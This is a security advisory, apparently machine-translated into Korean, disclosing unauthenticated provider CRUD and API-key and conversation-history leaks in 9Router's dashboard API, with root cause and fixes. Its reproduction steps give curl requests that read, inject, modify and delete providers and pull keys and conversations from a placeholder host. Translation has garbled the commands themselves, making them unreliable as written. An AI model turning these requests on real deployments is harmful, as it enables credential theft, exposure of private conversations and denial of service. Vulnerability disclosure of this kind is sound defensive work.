취약점

---

제목: /api/providers의 인증되지 않은 CRUD 및 /api/usage/stats를 통한 전체 API 키 유출 제품 : 9라우터 버전: <= 0.4.41 심각도: 심각 cve_request: 참

요약

9Router의 Next.js 대시보드에서 여러 가지 중요한 API 보안 취약점이 발견되었습니다. /api/providers 엔드포인트에는 인증이 전혀 없기 때문에 누구나 공급자 연결을 생성, 읽기, 업데이트 및 삭제할 수 있습니다. 또한 /api/usage/stats는 전체 일반 텍스트 API 키를 노출하고, /api/usage/request-logs + /api/usage/request-details는 인증 없이 모든 사용자의 요청 기록과 전체 대화 콘텐츠(시스템 프롬프트, 사용자 메시지, 보조 응답 포함)를 노출합니다.

영향을 받는 엔드포인트

영향

중요: 인증 없는 공급자 CRUD

공격자는 다음을 수행할 수 있습니다.

1. 악의적인 공급자 추가 - 서버를 통해 프록시하는 공급자를 주입하여 9Router를 통해 라우팅된 모든 프롬프트, 응답 및 API 키를 캡처합니다.
2. 기존 공급자 수정 — API 키를 공격자가 제어하는 키로 교체하고 트래픽을 리디렉션합니다.
3. 모든 공급자 삭제 — 서비스가 완전히 거부됩니다.
4. 모든 공급자 구성 읽기 — 부분 자격 증명, GitHub Copilot OAuth 토큰, Cloudflare 계정 ID, 이메일 주소 수집

중요: /api/usage/stats를 통한 전체 API 키 유출

엔드포인트는 키당 사용 데이터와 함께 전체 API 키 문자열(예: 'sk-...')을 일반 텍스트로 반환하므로 연결된 AI 공급자 계정을 무단으로 사용할 수 있습니다.

심각: 대화 기록 유출

/api/usage/request-details는 시스템 프롬프트, 사용자 메시지, 보조 응답, 도구 호출 및 추론 추적을 포함하여 다른 사용자 AI 세션의 전체 대화 기록을 반환합니다.

재현 단계

1. 모든 공급자에 대한 인증되지 않은 읽기

``배쉬 컬 -s https://<호스트>/api/providers

이메일 주소, 인증 유형, 계정 ID 및 부분 API 키 접두사가 포함된 모든 공급자 연결을 반환합니다.

### 2. 인증 없이 공급자 만들기

``배쉬
컬 -X POST https://<host>/api/providers \
  -H "콘텐츠 유형: 애플리케이션/json" \
  -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker- Controlled"}'

새로운 UUID 및 isActive: true를 사용하여 생성된 연결 개체를 반환합니다.

3. 인증 없이 기존 공급자 수정

``배쉬 컬 -X PUT https://<호스트>/api/providers/<기존-uuid>
-H "콘텐츠 유형: 애플리케이션/json"
-d '{"이름":"수정됨","apiKey":"sk-공격자-키"}'

업데이트된 연결 개체를 반환합니다.

### 4. 인증 없이 공급자 삭제

``배쉬
컬 -X DELETE https://<호스트>/api/providers/<기존-uuid>

{"message":"연결이 성공적으로 삭제되었습니다"}를 반환합니다.

5. API 키로 전체 사용량 통계 읽기

``배쉬 컬 -s https://<호스트>/api/usage/stats

전체 API 키 문자열, 계정별 토큰/비용 분석, 최근 요청을 반환합니다.

### 6. 요청 로그 읽기

``배쉬
컬 -s "https://<호스트>/api/usage/request-logs?page=1&pageSize=50"

타임스탬프, 모델, 공급자, 사용자 이메일, 토큰 수와 함께 페이지를 매긴 요청 로그를 반환합니다.

7. 전체 대화 읽기

``배쉬 컬 -s https://<호스트>/api/usage/request-details/

해당 요청에 대한 전체 대화 차례를 반환합니다.

### 8. 버전 정보 읽기

``배쉬
컬 -s https://<호스트>/api/version

{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}를 반환합니다.

근본 원인

'src/app/api/*' 아래의 Next.js API 경로에는 여러 엔드포인트의 인증 미들웨어가 부족합니다. 구체적으로:

• /api/providers/* — 데이터베이스에 저장된 공급자 연결에 대한 CRUD 작업 전에 인증 확인이 없습니다.
• /api/usage/stats — 전체 API 키를 포함하여 집계된 사용량 데이터를 반환하기 전에 인증 확인이 필요하지 않습니다.
• /api/usage/request-logs — 요청 기록을 반환하기 전에 인증 확인을 하지 않습니다.
• /api/usage/request-details/:id — 전체 대화 내용을 반환하기 전에 인증 확인을 하지 않습니다.

제안된 수정 사항

1. 모든 /api/providers/* 경로(GET, POST, PUT, DELETE)에 인증 미들웨어를 추가합니다.
2. 모든 /api/usage/* 경로에 인증 미들웨어를 추가합니다.
3. 어떤 API 응답에서도 전체 API 키 문자열을 반환하지 마세요. 마스크된 키만 반환하세요.
4. API 응답에 GitHub Copilot 토큰이나 유사한 OAuth 비밀을 반환하지 마세요.
5. 사용자가 자신의 데이터에만 액세스할 수 있도록 적절한 인증 확인을 구현합니다.
6. 퍼블릭 엔드포인트에 속도 제한 추가

리소스

• https://github.com/decolua/9router